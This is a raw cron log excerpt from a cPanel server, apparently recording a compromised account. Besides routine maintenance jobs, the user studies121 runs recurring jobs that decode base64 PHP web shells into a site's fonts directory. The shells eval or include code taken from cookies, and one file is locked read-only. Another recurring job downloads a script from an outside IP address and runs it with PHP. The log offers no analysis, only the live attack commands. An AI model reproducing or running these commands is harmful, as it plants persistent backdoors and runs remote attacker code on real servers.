Sep  3 15:13:01 ip-184-168-122-23 CROND[24846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:13:01 ip-184-168-122-23 CROND[24847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:13:01 ip-184-168-122-23 CROND[24850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:13:01 ip-184-168-122-23 CROND[24851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:14:01 ip-184-168-122-23 CROND[24933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:14:01 ip-184-168-122-23 CROND[24934]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:14:01 ip-184-168-122-23 CROND[24935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:14:01 ip-184-168-122-23 CROND[24939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:14:01 ip-184-168-122-23 CROND[24938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:15:01 ip-184-168-122-23 CROND[25023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:15:01 ip-184-168-122-23 CROND[25025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:15:01 ip-184-168-122-23 CROND[25026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:15:01 ip-184-168-122-23 CROND[25028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:15:01 ip-184-168-122-23 CROND[25027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:15:01 ip-184-168-122-23 CROND[25029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:16:01 ip-184-168-122-23 CROND[25208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:16:01 ip-184-168-122-23 CROND[25210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:16:01 ip-184-168-122-23 CROND[25211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:16:01 ip-184-168-122-23 CROND[25214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:16:01 ip-184-168-122-23 CROND[25215]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 15:16:01 ip-184-168-122-23 CROND[25216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:17:01 ip-184-168-122-23 CROND[25309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:17:01 ip-184-168-122-23 CROND[25310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:17:01 ip-184-168-122-23 CROND[25312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:17:01 ip-184-168-122-23 CROND[25314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:18:01 ip-184-168-122-23 CROND[25392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:18:01 ip-184-168-122-23 CROND[25393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:18:01 ip-184-168-122-23 CROND[25395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:18:01 ip-184-168-122-23 CROND[25394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:18:01 ip-184-168-122-23 CROND[25396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:19:01 ip-184-168-122-23 CROND[25485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:19:01 ip-184-168-122-23 CROND[25489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:19:01 ip-184-168-122-23 CROND[25488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:19:01 ip-184-168-122-23 CROND[25487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:20:01 ip-184-168-122-23 CROND[25574]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:20:01 ip-184-168-122-23 CROND[25575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:20:01 ip-184-168-122-23 CROND[25578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:20:01 ip-184-168-122-23 CROND[25584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:20:01 ip-184-168-122-23 CROND[25583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:20:01 ip-184-168-122-23 CROND[25585]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 15:20:01 ip-184-168-122-23 CROND[25579]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:20:01 ip-184-168-122-23 CROND[25580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:20:01 ip-184-168-122-23 CROND[25586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:21:01 ip-184-168-122-23 CROND[25758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:21:01 ip-184-168-122-23 CROND[25760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:21:01 ip-184-168-122-23 CROND[25759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:21:01 ip-184-168-122-23 CROND[25761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:22:01 ip-184-168-122-23 CROND[25841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:22:01 ip-184-168-122-23 CROND[25842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:22:01 ip-184-168-122-23 CROND[25844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:22:01 ip-184-168-122-23 CROND[25845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:22:01 ip-184-168-122-23 CROND[25847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:23:01 ip-184-168-122-23 CROND[25936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:23:01 ip-184-168-122-23 CROND[25940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:23:01 ip-184-168-122-23 CROND[25939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:23:01 ip-184-168-122-23 CROND[25942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:24:01 ip-184-168-122-23 CROND[26030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:24:01 ip-184-168-122-23 CROND[26033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:24:01 ip-184-168-122-23 CROND[26035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:24:01 ip-184-168-122-23 CROND[26034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:24:01 ip-184-168-122-23 CROND[26032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:25:01 ip-184-168-122-23 CROND[26137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:25:01 ip-184-168-122-23 CROND[26139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
